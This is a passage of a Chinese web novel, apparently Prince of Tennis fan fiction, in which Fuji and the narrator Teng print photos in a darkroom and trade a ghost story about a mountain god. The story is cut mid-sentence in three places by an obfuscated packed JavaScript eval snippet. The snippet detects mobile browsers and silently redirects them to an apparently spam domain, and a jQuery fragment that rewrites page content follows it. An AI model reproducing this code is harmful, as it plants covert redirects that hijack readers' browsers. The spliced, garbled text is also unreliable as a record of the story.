“嗯……”我看了看周围。最信赖的视觉被完全阻隔后,其它感官都变得既敏锐又不确切。一时间,好像屋子里的所有东西都飘浮了起来,在黑暗中摇摇晃晃。确实怪好玩的。 我说:“也就比刚刚有趣点吧。” “太好了。”这家伙超捧场。 “不过,这时候不是应该有那种红红的光冒出来吗?”我看电视里都这样演。 “那是放大黑白照片时才能用的安全灯。”不二解释得很简短,应该是知道我没耐心听长篇大论,“这次要放大的是彩色照片,使用的相纸对所有光都有感应,所以只能在全黑的环境下进行。” “意思是,”我对着黑暗随便比划了一下,“就要像这样做?” 做完才想起来,现在不二根本看不见我的动作。但这时他已经带着笑意回应了:“是的,就要像这样做。” “可是,这么黑要怎么看得见呢?” “原本就是看不见的。”少年回答道,“大部分操作只能靠触觉和记忆来完成。” “…还能这样?”我忍不住笑了。 事实上,我想象的是不二从前一个人待在黑暗里、像瞎子一样细细摸索着做工的模样。这种很有点古怪、又很需要细致耐心的感觉和他超级搭。怪不得这家伙有时会露出那种瞎子似的笑容来(不过还是很好看的)。 “呐,藤,你在想什么呢?” 他忽然问。虽然感觉也在笑,但多半是那种亮着寒光的笑法。 “在想有趣的事。”我信口胡说,“想你打网球是不是也能闭着眼睛打…之类的。” “欸?那样的事应该还是办不到吧……” 他听上去怪谦虚的。但我敢打赌,现在这家伙脸上绝对挂着那种半真半假的浅笑。说不定他真能做到闭着眼睛打。 “接下来要做什么?”我问他,“我也来帮忙。刚刚看到桌子上有刀,要用刀的活就交给我吧。” “可以吗?” “看也看不见,什么都不做就太无聊了嘛。” “那么,就先来戴上手套吧。”他笑着说。 这家伙接受得超级丝滑,不禁让我起了疑心。 “不二,你该不会早就料到事情会变成这样吧?” “哈哈哈,怎么会呢。” “…不,你这绝对就是有猜到的意思吧?” 我边说边朝着声音发出的方向走去。虽然知道他的大概位置,但越靠近就越不确定。最后我索性抬起一只手,在半空中点点点的试探着。 忽然触到了一点温热。 “这是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303155|179615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”我上下左右胡乱拍了拍。 “…是人的鼻子。”他轻轻叹了口气,声音发闷。无论是作茧自缚的语气、还是故意采用的这种事不关己的说法都让我超级想笑。 “不二,这个人的鼻梁好挺。感觉是帅哥。” 我故意顺着他的话说,手指离开了他的脸,但也没离多远,差不多就是用子弹给人体描边的那种距离。 指尖沿着高挺鼻梁虚虚往下——我准备去找他拿在手上的手套——结果不到1秒就被截住了。 ——这一次,不二的手先找到了我的。 他的体温似乎要比我高上一点。 “失礼了。”——这家伙嘴上这么说着,实则相当果断的拿手圈住我的大拇指、就这么轻轻牵引着我往旁边去。 黑暗中,我一路跟着他,感觉既奇妙又滑稽;既像是在跳舞,又像是瞎子新人遇到了瞎子前辈。总之怪搞笑的,我的嘴角一直克制不住的往上扬。 很快,不二停下来,先是引导我摸上桌子,又把手套塞进我手里,最后才松开手。又过了没多久,另一边传来窸窸窣窣的声音,应该是他在拿取材料。 “真亏你能做到这样。”我说。简直就像能看见一样嘛。 “谢谢夸奖。”他笑着说,“藤会不适应吗?” “不会。以前偶尔也会遇到看不见的情况。”我说,“像是老爹不给点灯、遇到会喷毒液的恶魔还有眼睛里溅到柠檬汁之类的。说起来,我干掉的第一只恶魔就会喷毒液来着。” “…一定很艰难吧。”他声音放缓了点。 “还行吧。柠檬汁的情况比较麻烦,”我严肃地说,“食物是要吃进嘴巴里的,不该跑到眼睛里面去。” “唔…我这边听起来还是前两个比较惊险啊。”少年不卑不亢地说。现在他已经很懂得怎么和我沟通了。 “但是,前两种情况已经没可能再发生了。”我耸耸肩,“绝对还是柠檬汁更麻烦啦。” 说完,我又觉得有点惆怅。 “藤会怀念以前的世界吗?”少年轻声问。 “…也太敏锐了吧你。”我斜他一眼,发现什么也看不着,就又斜回去,“说怀念也谈不上。没人会怀念吃不饱饭的苦日子吧?反正我是绝对不会想要回去的。但是,一想到回不去,又会有点不甘心吧……有种对着这个离谱的新世界认输的感觉。” “欸?在藤眼中反而是这边比较离谱吗?”他失笑。 “大家都太爱运动了。”我凉凉道,“像你这种摄影宅反倒是异类了。” “不,我也很爱运动的。” “那你就更没法理解我了。” “唔…百分百的感同身受的确无法做到,毕竟藤原本的世界存在很多我还不了解的事。”他温和地说,“但最简单的换位思考还是能做到的。假如让我去到那样光怪陆离的世界,却又不得不放弃网球,我一定也无法接受吧。所以有时在我眼中,藤是个有些寂寞的人。” “寂寞吗……”我笑了,“那听起来就很帅了!” 他也跟着笑了,笑声低低的,透着月光般的清朗。 “呐,不二。”我忽然坏笑。 “什么?” “注意到了吗?你刚刚举例用的是网球,不是摄影也不是恐怖小说,而是网球喔——” 他沉默了一瞬,然后才反应过来一样,“啊,真的呢……” “你根本爱死网球了嘛。” “哈哈,或许是这样。”他没正面回答,而是笑着又把话题绕回我身上,“和藤在一起总是能发现自己以前从没注意到的一面呢。你果然是很特别的人。” “太肉麻了。想谢我还是直接给我薯片吧……接下来要做什么呢?” “首先是裁剪相纸。” 他拿了相纸过来。我伸手到桌子上去摸索。有了刚刚鼻子那一遭,按理说我该谨慎点,但我没有。果不其然又碰到什么。 “抱歉、”我不带丝毫歉意地说,“这次是人的手指吗?” “…是的,是人的手指。”身旁传来少年无奈的答话。 我很想笑,但努力装作若无其事: “要裁多大呢?” “八等分。”他停了停,忽然主动牵住我的手,1秒、从我的5根手指里挑拣出了食指,2秒、沿着指尖虚虚一划,3秒、 “大概是这么长的一段。”这家伙温和地说。 我不笑了。 因为我觉得他是故意的。 我:“…故意的?” 少年笑起来,听起来特别诚恳地说:“抱歉。” 14.第14章 八等分。 我握着裁纸刀。 反正睁眼也没用,所以我干脆把眼睛给闭上了。这样同时感受到两种黑暗,浮浮沉沉的,像种新型午睡。 然后我手起刀落,“咔咔咔咔咔咔咔咔”的裁好了。 “好厉害…我大概没法切得这么整齐。” 不二确认时似乎吃了一惊。但我觉得他能光凭触觉摸出来也够厉害的。 这家伙的手指一定很灵敏。 “短刃类的我都还算擅长啦。”我告诉他,又坏笑着问,“不二,惊到眼睛睁开了吗?” 他笑着说:“…是的,惊到眼睛睁开了。”声音里透露出无奈。 也不知道是因为他的迁就,还是因为听见了清润好听的声音,总之我心满意足。 “这个叫‘相纸’的,待会儿照片就是要印在上面对吧?” “是这样没错。” “那裁这么小真的没问题吗?”一条一条的,跟胡萝卜一样。很难想象我出现在上面的样子。 “这些是实验用的试条。”少年答道,“正式放大前,还有一些需要确认的地方,比如曝光的时间。因为是彩色照片,颜色的调配也要纳入考虑范围……” 就这样,每当我以为快说完的时候,一个崭新的我根本不认识的概念就会从黑暗中蹦出来砸过来。 听着听着,我的眼皮慢慢耷拉下来。 “要考虑的真多啊。”这种乍一看是10个步骤,结果告诉你其实每个步骤里都还含有100个小步骤的感觉,“太‘不二’了。” “…直接用我的名字来命名吗?”他失笑,“对摄影界的前辈们好像有些不尊敬呀……” “不,我是说在一件事没确定前反复调适迂回前进想超级多力求完美的做法,太‘不二’了。” 感觉这家伙的人格都在这一刻具现了。 “唔…这样不好吗?” “磨磨唧唧的。” 我毫不留情。 而他看着态度软,实则一点不动摇: “前期放慢一点速度,慢慢研究出得到最好照片的方法。这个过程不是也很有趣吗?” “那一般要做几次?这个叫‘试条’的。”我普通地问。 “3-4次吧,正常来说。”他也普通地答。 “那不二呢?你的话需要几次?”我狡猾地问。 他笑了,说:“1-2次吧。” “呜哇,很有自信嘛。”这家伙好像总是会在我意想不到的时候狂一把。 “会觉得讨厌吗?”他开玩笑般的问。 “不,我还蛮喜欢你这点的。” “哈哈,这样吗……” 聊着聊着,第1张试条就完成了。不二打开了灯。 视野重回光明,按理说我该高兴,但反而有点不适应。 重新看见栗发少年清俊白皙的脸,一想到刚刚我的手还触碰过他的鼻梁,就觉得怪奇怪的。 不过,我并不是那种会因为别扭就回避视线的人,因此也注意到,不二虽然仍然面带微笑望着我这边,但目光微妙的和我错开了一点。 “不二。” “…什么?”他好像早料到我会叫他。 “你为什么不看我?”我盯着他看。 栗发少年一愣,有点苦恼地蹙起眉,“藤有时也会问些让人不知道怎么回答才好的问题呀……” “这可不算是回答。” 或许是因为我已经镇定了下来,他也感知到了这种镇定。总之,这家伙飞快的用眯眯眼微笑把自己武装起来了。 “那么,藤希望我怎么回答呢?” 他一脸体贴宽容前辈相地问。 这种时刻无论如何也撬不出真话来。 我斜睨他一眼:“狡猾。” 栗发少年坦然受用(倒是没有火上浇油地说“谢谢夸奖”之类的)。这个时候,做好的试条刚好从冲印机里滑出来。 “要看看吗?”他温和地问。 “看看吧。” 我走过去,不二如常般让出一点位置给我。在天台我们经常这样,但现在反而有点刻意保持距离的感觉。 试条上面并不是完整的照片,大概是取了中段偏上一点的位置。我看到了当时我比出的大大的“耶”,还有飞扬的红色发丝,以及一点点天空。从左到右,亮度由浅至深,分成了5个区间。不二说是曝光时间不同的缘故。 “中间的最好。”我瞥一眼就说。 “嗯…颜色好像可以再调整一下。”他看得很仔细,“藤的发色还要更鲜艳一点。” “那……?”我看看他。 他也看看我,微笑着说:“再试一次吧。” “好呀。”我心中有了个主意,“再试试吧。” 房间再度回归黑暗。 如果说白炽灯亮起的时候,空气像是安分的固体,基本没什么存在感;那么光线消失的时候,就像有什么东西在黑暗中流动了起来。密闭的空间,好像平地涌出了水、刮起了风。 开灯状态下的我和不二,以及身处黑暗中的我们,仿佛是有细微不同的四个人。这感觉没什么依据,但短时间内来回切换的话,轻易就能感知到那种微妙的不同。 一开始,我们谁都没说话。既像是担心惊扰到什么,又像是在期待着什么一样。 还是不二率先开口。 “嗯,像这种两个人待在黑暗中的时刻……”他顿了顿,笑着说,“总觉得很适合讲怪谈故事呐。” 空气顿时变得安分守己起来了。 我:“那就说个来听听吧。” 不二就说了一个在青学摄影室广为流传的故事:在暗房里关上灯,黑暗中就会出现另一个“人”,一直一直静悄悄地看着你。假如不好好遵守暗房使用守则,立刻就会被拖走神隐…… “这是摄影部部长编的吧。”我吐槽,“最后完全没有怪谈的氛围了嘛。” “但是,眼睛看不见的时候,不会觉得房间里真的还藏着第三个‘人’什么的吗?”他宽和地说。 “那种事光听呼吸就知道不可能啦。”我告诉他,“现在这里绝对只有我们两个。” “…欸?但鬼是不需要呼吸的吧。”在恐怖故事上,这家伙似乎有着超乎常人的严谨。 “那也没关系。虽然我没撞到过鬼,但我觉得这种东西就和熊一样。只要我跑得比不二你快就行了。” “那…我会努力帮藤抵挡的。”他笑着说道。 “然后大半夜的从电视机里爬出来找我是吧?”我看穿他了。 “可以吗?”不二被我逗笑了。 我:“来吧来吧。” “……” 然后忽然间,他又不说话了(但我想他多半是安静又含蓄的笑了一下)。 沉默中,黑暗里又有什么开始流动起来了。 趁着这个空当,我弯起了唇角: “不二,你还记得上周放学后,我站在校门口风吹日晒、像具干尸一样干等了你4个小时的事吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“原来在藤心里,我是这样的形象吗……”少年语气温柔又飘忽。 “看吧!就是这样——只要说‘是’或‘不是’就行了的场合,你非得拐个弯才行。”我说,“总之,我就是这么个意思,从现在起你必须对我说真话——必须得是脑子里面想到的第一个念头才行,一点点多余的修饰都不能有的那种!” “…像这样就值3亿元了吗?” 他好像还想再挣扎一下。 “是的,这样就值。”我带着点得意、斩钉截铁地说,“你觉得怎么样?” 说实话,连我都觉得有点太为难他了。 接下来,在我的想象中,不二绝对会像被蒙住眼睛的小狗一样不知所措。 结果就听这家伙轻声笑着说: “…老实说,有点受宠若惊了。” 我:“啊?” “因为、会这么说的意思,就代表藤相当珍视我内心的想法吧……”他好像忍着笑似的,“总觉得好可爱。我现在很开心喔?” 我:“啊?” “这就是刚刚我心里冒出来的第一个想法。一点修饰也没有加。”不二很轻巧地说着,“藤不是想听我的真心话吗?” “…不,我更想看到你纠结苦闷的样子啦。” “但是对我来说,这并不是什么需要纠结和苦闷的事呀。”他很温柔地说,“尤其面对的是藤的话。” 最后一句,少年的声音微微压低,显得有点沙哑。就像月色下被海浪轻轻磨蹭的砂砾。 “……” 好作弊的声线。 再一次的,我感到一股电流从我脚后跟直击天灵盖。有点爽爽的。虽说和我原本预期的爽不是一回事,但我的嘴角还是控制不住的疯狂往上扬。 …该怎么说呢。 就感觉…好像—— 这确实值3亿元呀。 15.第15章 “那我要开始问了——”我说,“唔…不二,你现在在想什么呢?” “现在吗?我在想YMC的事。”他相当轻快地答道。 “那是什么?” “是彩色放大机上用来控制相片颜色的滤镜。”他听起来更高兴了,“Y是指……” “好了好了你不要再说了。” 少年“咦”了一声,乖乖停下了。 黑暗中,我没说话。他也没说话。 我想了想,直接说:“怎么办,本来我觉得有一大堆问题想问你的。但现在你这么配合,我忽然感觉一个问题都不剩了。” 他没立刻回应。虽然看不见,但我觉得现在正有一股超愉悦的氛围朝着我这边哗啦啦的泼洒过来。 这种氛围我可太熟悉了。 “不二,你在憋笑吗?”我有点无语。这家伙笑点真怪。 假如放在平时,他多半会很有礼貌地否定。但是现在,我听见他说: “嗯…抱歉、因为藤总是很坦率。‘一般绝对不会就这么直接说出来吧?好可爱呐’……一旦这么想了,就有点忍不住想笑。抱歉。” 解释得超详细。 看来他还是有在好好遵守说真话的约定的。 “算了,那我先随便问你几个问题好了。不二,那个暗房有鬼的传言是真的吗,还是你编出来骗我的?” “欸?”少年愣了愣——我想他心头一定飘过几个大字:这问题实在是太随便了之类的——正当我这么想的时候,就听他笑着说,“还真是相当随意的问题呀……是真的,我也是听已经毕业的前辈说的。” “诶?那你相信世界上有鬼存在吗?” “相信呀。”他轻巧又笃定地答道。 “为什么?”我笑了,因为觉得他这样怪纯真的。 “这个世界上确实存在着科学无法解释的、超出认知范围的东西……我是这么认为的。”不二乐呵呵地说,“就像藤是从另一个世界来的超能力者,这不就是一个有力印证吗?” “但我是人类,‘鬼’可是灵异现象啊——绝对是不一样的吧?” “那…恶魔呢?”他有点好奇地问。 “恶魔是恶魔,鬼是鬼。”我理直气壮,“恶魔是真实存在的!但后面那个绝对是编造出来的啦。” 不过因为怕鬼的人太多,所以确实也存在着幽灵恶魔。 “从我这边看的话,两者不可思议的程度是相当的啊……” “那是因为世界观不一样啦。”像这个世界对运动的狂热才叫不可思议呢,“不二,你有亲眼见过吗?灵异事件之类的。” “…是的,我有碰见过。” 少年轻声说。 话音刚落,黑暗中就好像有一阵阴风刮过。 我一愣。 感觉有什么阴森森的东西慢慢渗出来了。 “…现在可是只能说真话的环节喔?”我提醒这家伙。 不二特别有礼貌地说:“嗯,不是说谎。” 他声音里仍带着柔和笑意,但怎么听怎么觉得有点诡谲。 肝脏肝脏肝脏肝脏——! 我在心里疯狂呼叫,但肝脏一点不理我。我立马诅咒它从此只能吃狗屁。 “嗯…是什么样的事件?” 我故作淡定,正想在不经意间提议把灯开过来,就听栗发少年慢慢道: “虽说完全算不上什么恐怖的故事……啊、要把灯开过来听吗?” 我说:“…根本用不着。” “那我就开始讲了……”他顿了顿,再次向我保证,“绝对不是恐怖故事。” “那你倒是说啊…一直说不恐怖反而超恐怖的好不好!” “嘛,毕竟我也不清楚那天遇到的究竟是什么……”少年幽幽地说。 “不二,我要开始讨厌你了。” 他见好就收:“那是我刚上国小时候的事……” -- “那年正好是秋天,爸爸休假回国,我们一家去箱根旅行,住在一所和式温泉旅馆里。原本想去的是更有名气的酒店,但因为名字相近,所以不小心订错了。旅行时偶尔也会发生这样的事吧?实际到了目的地才发现,房间的榻榻米非常老旧,上面还有可疑的暗淡污渍。老板说,那是当年冲田总司下榻疗养时咯出的血迹……” “那是谁?”我很茫然。 “冲田吗?是幕末时期有名的天才剑士。” “那么这间旅馆很厉害了?”我评价道,“好像怪可疑的。” 不二笑了笑,继续道: “然后,走廊的地板偶尔会传来急促的、‘咚咚咚’的响动。老板说,那是信长公的冤魂正在奔跑……” 信长公我还是知道的。 “为什么织田信长的冤魂要在一家温泉旅馆的走廊上奔跑啊?绝对是说谎嘛。”我说。 “是的,当时我们也都这么想。姐姐还当场提出可以帮忙占卜一下,倒把老板吓得不轻呢……” 不二微笑着、一副陷入美好回忆的样子。 “爸爸有想过临时更换住宿,但妈妈觉得很有意思,说不定反而能创造出难忘的回忆。姐姐也说没什么问题。老板虽然看起来有点可疑,但也不像坏人。所以最后我们还是住下了。” 我没见过不二的家人。但单听这一串描述,我想象的是3个和不二一模一样的腹黑眯眯眼,微笑着面对着可疑的温泉旅馆,此起彼伏的说着“有趣!”、“有趣呐…”、“真有趣呀”。 “你的家人,该怎么说呢……”我想了又想,直到一个最贴切的描述蹦进脑海,“感觉都棒到不行。” 非常“不二”的感觉。而且怪温馨的,就是那种有点奇妙的温馨(不过比起我和阳子的组合还是差了一点)。 但话又说回来,爸爸妈妈姐姐都有了,是不是还少了个谁来着…… “藤这么想吗——谢谢!”不二好像一下子特别开心。即便在黑暗中,也像有什么东西正pikapika的闪耀着。 紧接着,他又道: “但是,那个时候、裕太虽然什么都没说,但我注意到了——他在爸爸说要换旅馆时拼命点头。可当妈妈开口后,尽管裕太一脸绝望,却还是拼命忍耐着、什么也没说。裕太从小就是个温柔又体贴的孩子呢……” 怎么感觉有点格格不入的悲惨呢。 “我是哥哥,必须得保护弟弟才行。” 不二特别沉稳地说着。 “所以,当走廊又发出声响时,我立即告诉裕太,信长公是在大火中自尽而死的。假如在这的真是他,应该会散发出肉的焦枯味、还有‘光秀、光秀’的叫喊声才对。所以,在外面奔跑的想必是其它来历的幽灵吧……” “你这样会被讨厌的吧。”我说。 “不,听了我的话,裕太一下就勇敢起来了。”他说(这家伙提到弟弟时总是特别温柔),“当时原本应该是我和裕太一起去温泉。但他说什么都要自己一个人去,还让我绝对绝对不要陪着他。” “你已经被讨厌了吧。”我说。 “…裕太是不会讨厌我的。但是,的确是我有没处理好的地方……”不二的声音变消沉了点,说的好像不只是吓唬弟弟的事。但是很快,他就若无其事地继续道,“最后,爸爸陪着裕太去了,妈妈也去泡汤。姐姐忽然有点事,到另一个房间去打电话。走廊上就只剩下我一个人……” “不害怕吗?”我歪了歪头。 “不害怕呀。”不二微笑着说,“很美的——走廊外正对着一片浅滩,上面长了很多芦苇,密密丛丛的。那天是圆月,月光洒下来,是银白色的。芦苇被风吹过,轻轻摇曳着、就像银色的海浪一样,非常好看。可惜那个时候还没有相机,没办法记录下来。” 这家伙的国文成绩肯定很好。光听他这么说,我就好像看见了那片浅滩一样。 然后,我脑子里又冒出一个缩小版的不二:眉眼弯弯、特别乖巧悠闲地坐在回廊下,像个小大人。感觉会很吸引诱拐犯,然后他再凭借自己的聪明才智反手把犯人卖掉之类的…… 我不由的也露出一个微笑,“然后呢,灵异就是在这时发生的吗?” “嗯。当时我对着那幅景象看得入了迷,只想着要靠眼睛全部记下来。但是忽然间,浅滩上的月光消失了。我望向天上,月亮明明还好好的悬在那里,我和长廊也都还被月色笼罩着。可浅滩忽然暗下来,芦苇也都无精打采,只有一溜不断倒下,发出‘沙沙’的声响,像被风吹断了一样。我看了一会儿才明白,是有什么东西,正从芦苇丛深处往我这边来。” “唔…会是田鼠什么的吗?”我想了想,又说,“真亏你还能保持镇定啊。” 不二说:“那时好像完全把‘害怕’忘在脑后了……啊、但是当时我正打算等裕太回来一起吃和果子,所以还想:‘不管来的是谁,我都可以把我的和果子分给祂。但是,万一祂想要的是裕太喜欢的种类要怎么办呢?那可不行呀。’那时还这么小小的纠结了一下。” 这奇怪又淡定的脑回路,给我听笑了: “感觉是不二你能干得出来的事,还挺可爱的。然后呢?你看到那东西是什么了吗?” “其实看得不是很清楚。”他轻声答道,“祂以很快的速度冲到了芦苇丛边缘,‘噌’的冒出了脑袋和小半截身体,然后就那样一动不动了,就好像小小的猫头鹰一样。我感觉祂在看着我,就问祂要不要吃和果子,也可能我没有问出声。总之祂没回答,只是安静地待在月亮照不到的地方。我想看清楚祂的样子,但只看到一片流转的暗红色,上面不要说五官,好像连皮肤也没有。” “…就算这样你也不害怕吗?”我有点惊讶。 “嗯…或许是因为祂身上并没有那种恐怖的感觉吧。我们静静对视了一会儿。忽然姐姐一边叫着我的名字、一边从房间走出来。她推开门的刹那,我转了一下头。再回头时,芦苇丛边已经什么都没有了。浅滩又变回了亮闪闪的银色,走廊重新开始发出‘咚咚’的响动,好像刚才发生的一切都是我的幻觉。”不二顿了顿,微笑着说,“但我想应该并不是幻觉才对。” “为什么?” “因为摆在我面前的和果子不见了。”不二说。 “第二天,旅馆老板说附近正处于开发中的森林出了事。原本用于砍伐树木的设备一夜间被全部破坏、遍地都是只有浅滩才有的芦苇,最后开发不得不暂停。不是有种说法:树木是山的皮肤吗?所以我有时会想,那晚我遇见的,或许是皮肤遭到毁坏、心存愤怒的山神也说不定。” 也说不定是田鼠。我想。其实田鼠和一连串的巧合更有可能。 但我更喜欢不二口中的版本,连带着对那个会问山神要不要吃和果子的小小少年也喜欢。所以我立即决定这个才是真的。 “我喜欢这个故事。”我告诉他,“确实一点也不恐怖,而且很‘不二’。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325066|179615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这个也能用我的名字形容吗?”他失笑。 “当然了、很好的解释了你身上偶尔会有的那种神神秘秘的感觉。”我中肯地评价道。 “但是,还是有点遗憾呐……如果当时有相机的话,就能把那一幕拍下来了。一定会是张好照片。”从这家伙的语气中完全听不出对神明的敬畏,只有对自身感受的超绝爱重而已。 “你也有可能会被直接神隐。”我说,“那样不就遇不到我了嘛?” “…说的也是。”不二想了想,半开玩笑地说,“看来得感谢神明大人才行了呐。” -- “那么,我要问下一个问题了!” “还要问吗?”他有点无奈的样子。 “嗯。因为听了个好故事,我决定稍微降低点难度。”我歪了歪头,“不行吗?” “不,不管有多少我都会回答的。”不二说,“因为是和藤的约定呀。” “真的假的。那,你最后一次尿床是什么时候?” 他沉默了。 “…这真的是降低难度以后的问题吗?”少年为难的顿了顿,又补充,“这就是我第一时间的想法。” “欸?告诉我嘛,我保证不告诉别人——” …… 那天,我问了不二超多问题,顺带知道了他不少糗事。比如这家伙不爱吃酸的,再比如他小时候曾经为了帮弟弟捡东西不小心掉进瀑布里…… “…午休快要结束了喔?”他在还有半小时才打铃的情况下提醒我。 “最后一个!”我心满意足,“不二,你为什么这么喜欢摄影呢?” “…喜欢的理由吗?”这次他更为郑重地想了想,然后说,“藤之前不是说,时间一直在往前走,所以有点恐怖吗?” “是这样没错。” “说不定我就是想要对抗那份恐怖。”少年带着温柔的笑意道,“把珍惜的时光都认真记录下来,是不是就能留住时间呢……这么想会不会有点幼稚了?” “是有点。”我想也不想就说,“但是,总觉得这样才是敢给山神递点心的家伙应该说出来的话嘛——是个好回答!” 如果是平常的不二,应该早就会面带微笑的对我说“谢谢”了。 但在黑暗中,他可疑的沉默了几秒。再开口时,这家伙一副超级超级开心的样子,好像全世界的珍稀仙人掌都正向他涌来。他是这么回应我的: “…这样吗。现在可以开灯吗?” “啊、已经招架不住更多问题了吗?” “嗯,这也是一方面。”不二慢慢地说着,“但是,更重要的是……现在忽然特别想要看到藤。可以吗?” 最后声音放得好轻。 我觉得我又被迎面砸了3亿元。晕晕乎乎的嘴都要笑烂了。 于是我大度地说:“开吧开吧。” “……” 房间明亮起来的刹那,我和栗发少年面面相觑。 明明现在我们离得也不远,就是正常的方便持刀互砍的距离。但一瞬间,我心里竟然还是有点不满足,好像又想把手放到不二秀气的鼻梁上去了。 而这家伙笑眯眯地看了我一眼,竟然又笑眯眯地把目光稍微错开了一点。 “…这微妙的回避感是怎么回事?”我立即抗议起来,“不是说想看到我的吗?” “嗯…好像会有点危险。”少年低声喃喃着意味不明的话。 “哪方面的危险?” 闻言,不二顿时有点苦恼的样子:“藤有时也会问些让人不知道怎么回答才好的问题呀……” “这可不算是回答。”说完我一顿,已经知道接下来这家伙要说什么了。 “那么,藤希望我怎么回答呢?” 他一脸故意逗人玩的平和前辈表情。 “啊、又回到以前的样子了……”我变成了死鱼眼,“真‘不二’啊。” “这里的‘不二’是什么意思?”少年好奇地问。 “迂回又狡猾的意思。” “欸……但是,总觉得这个回应也很‘藤’呢。” “这个‘藤’又是什么意思?” “绝对不服输、”他微笑着顿了顿,“还有,很可爱的意思。” …… 那天的最后、经过了几番波折,我们共同完成的照片总算是被冲印机慢慢吞吞地吐了出来。 不再是青面獠牙的阎魔大人、不再是灰蒙蒙又无精打采的天空。 璀璨的夕阳下,顶着一头乱糟糟天然卷红发的女孩对着镜头比出大大的“耶”,笑容超级无敌灿烂得意,感觉刚一口气战胜了十头哥斯拉或者奥特曼什么的。 好看又有趣。 甚至比我刚洗完澡在镜子里看到的自己还要好上那么一点。 如假包换的世界级美少女! 更重要的是:看到照片的时候,心底忽然涌起一阵不可思议的暖流,就好像时间倒流、又回到了那一天共度的日落时分一样。 我看得相当满足。 看着看着,我侧过了头。差不多也就是同一时间,身旁的不二也同样将脑袋偏了过来。我们的额发几乎碰在一起。 “……” 我看着他。他看着我。 慢慢的,我们像共同完成了手工课的小学生一样相视一笑。 “拍了张好照片呢。”我小声对他说。 他也温柔地笑着回应:“嗯,拍了张好照片呐。” 16.第16章 这是一个风平浪静的午后。 青学的天台有两排相对而立的围栏。 不二坐在其中一排底下,拿着一本外文书在看。我坐在另一排,面无表情拿笔乱戳作业本。 戳。戳戳。戳戳戳。 “…藤。”他忽然叫我的名字。 “什么?”我心不在焉地应声。 “最近有什么烦恼的事吗?”他轻声问,接着又半开玩笑的说,“散发出的暗之气场已经要漫延到这边了啊。” “…不二,你写作业的时候会觉得开心嘛?”我慢吞吞地反问。 我感到少年审度的目光在脸上停留了一瞬。但等我抬起头的时候,看到的还是那张和往常一样的宇宙级帅脸。 “好像还是不太一样。”他眼睛弯弯的,神情柔和又坚持,“如果说平常藤写作业,散发出的是‘学校快点爆炸吧’的气势,那今天就是希望全宇宙爆炸的感觉呐。” 这也看得出来? 我一边为这家伙的观察力毛骨悚然,一边又实在忍不住、被他的这种说法给逗乐了。 “全宇宙爆炸太夸张了。”我假装严肃地纠正,“也就是希望地球能立刻碎成个八九十千片吧。” “欸?作为地球住民,好像也很难开心起来。”他乐呵呵地说着。 我顿时横了他一眼: “不二,你说这话是想要拯救地球吗?” “不,我觉得还是藤的心情更重要。”不二笑眯眯地说,“具体是怎么一回事呢,可以跟我说说看吗?” …很奇怪。像这样说了一堆话以后,我感觉我根本没有拒绝的选项。 总之、莫名其妙的,我就对着他倾诉起来了。 “昨天,我和阳子去吃了霜降和牛寿喜烧。”我顿了顿,补充道,“因为我不喜欢上学、她也不喜欢上班,所以为了活得开心点,每周我们都会奖励自己吃顿好吃的。” “真不错呀…然后呢?”栗发少年轻笑着接了话。这种有点随意的态度一下子更方便我潜入回忆了。 “然后、昨晚吃的寿喜烧,是我最喜欢的关西风味,会放很多很多砂糖;肉的颜色纹理都很漂亮,就是在看到的一瞬间、脑子里只会剩下‘漂亮’这一个形容词的那种程度。在锅里煎制时散发出的油脂香更是没话说。当时我裹着鸡蛋液、把那样的一大片肉整个吞了下去。按理说,绝对应该感到幸福才对吧?但是——” 我惆怅地托着腮。 “那时的我却在想:‘好吃是好吃,但是有点腻吧。说到底,和牛也就这样。’——这很可怕吧? ” 我想他多半很难理解我在说什么。 “也就是说,吃到肉时获得的满足感减少了吗?”不二拿手支着下巴,一脸认真地推断着。 我错了。这家伙完全理解我在说什么。 我默默朝不二竖了个大拇指,表示“正解”。 然后我把下半张脸沉进手掌,对着腿上的作业本发起呆来。 “不二。”我忽然叫他。 “什么?” “我觉得我再也不会笑了。” 这么宣布完,我就捂住嘴巴、缓缓往一侧歪去(单纯是为难地心引力的意思);见状,对面的栗发少年也有样学样、不慌不忙陪着我倾斜,就像照镜子一样。 我们在和地面呈45度的地方双双停住。他的目光一路追随着我,冰蓝色的眼睛里现出温柔笑意。 我们两个好像小学生一样啊。 我笑了。 “以前,我觉得这个世界很无聊,但好在吃的很多。只要一直有好吃的,我就能继续生存下去。但最近,我发现我的胃口越来越大了:从布丁到炸鸡到金枪鱼大腹……现在,连和牛都没法完全满足我了。那么,这份缺失的满足感究竟跑到哪里去了?要靠什么东西才能填补呢?” 说着,我又望向栗发少年。他眯着眼睛,似乎正陷入和我一样的认真苦思。但是很快,他就稍稍蹙起眉,轻声道: “这真是相当深奥的思索啊……但是,正因为太重要了,所以我大概也没法给出答案。抱歉呐,藤。” “这是我的事。我才不要从你嘴里听到什么答案呢!”我立马告诉他。 “但是,会这么说的意思是,不二,你相信这种东西是存在的吗——不是食物、却能带给我同等程度满足感的东西?” 这次他没有迟疑,微笑着道:“嗯,我想会有很多很多。能超越霜降和牛的存在说不定也有。”后半句像是打趣。 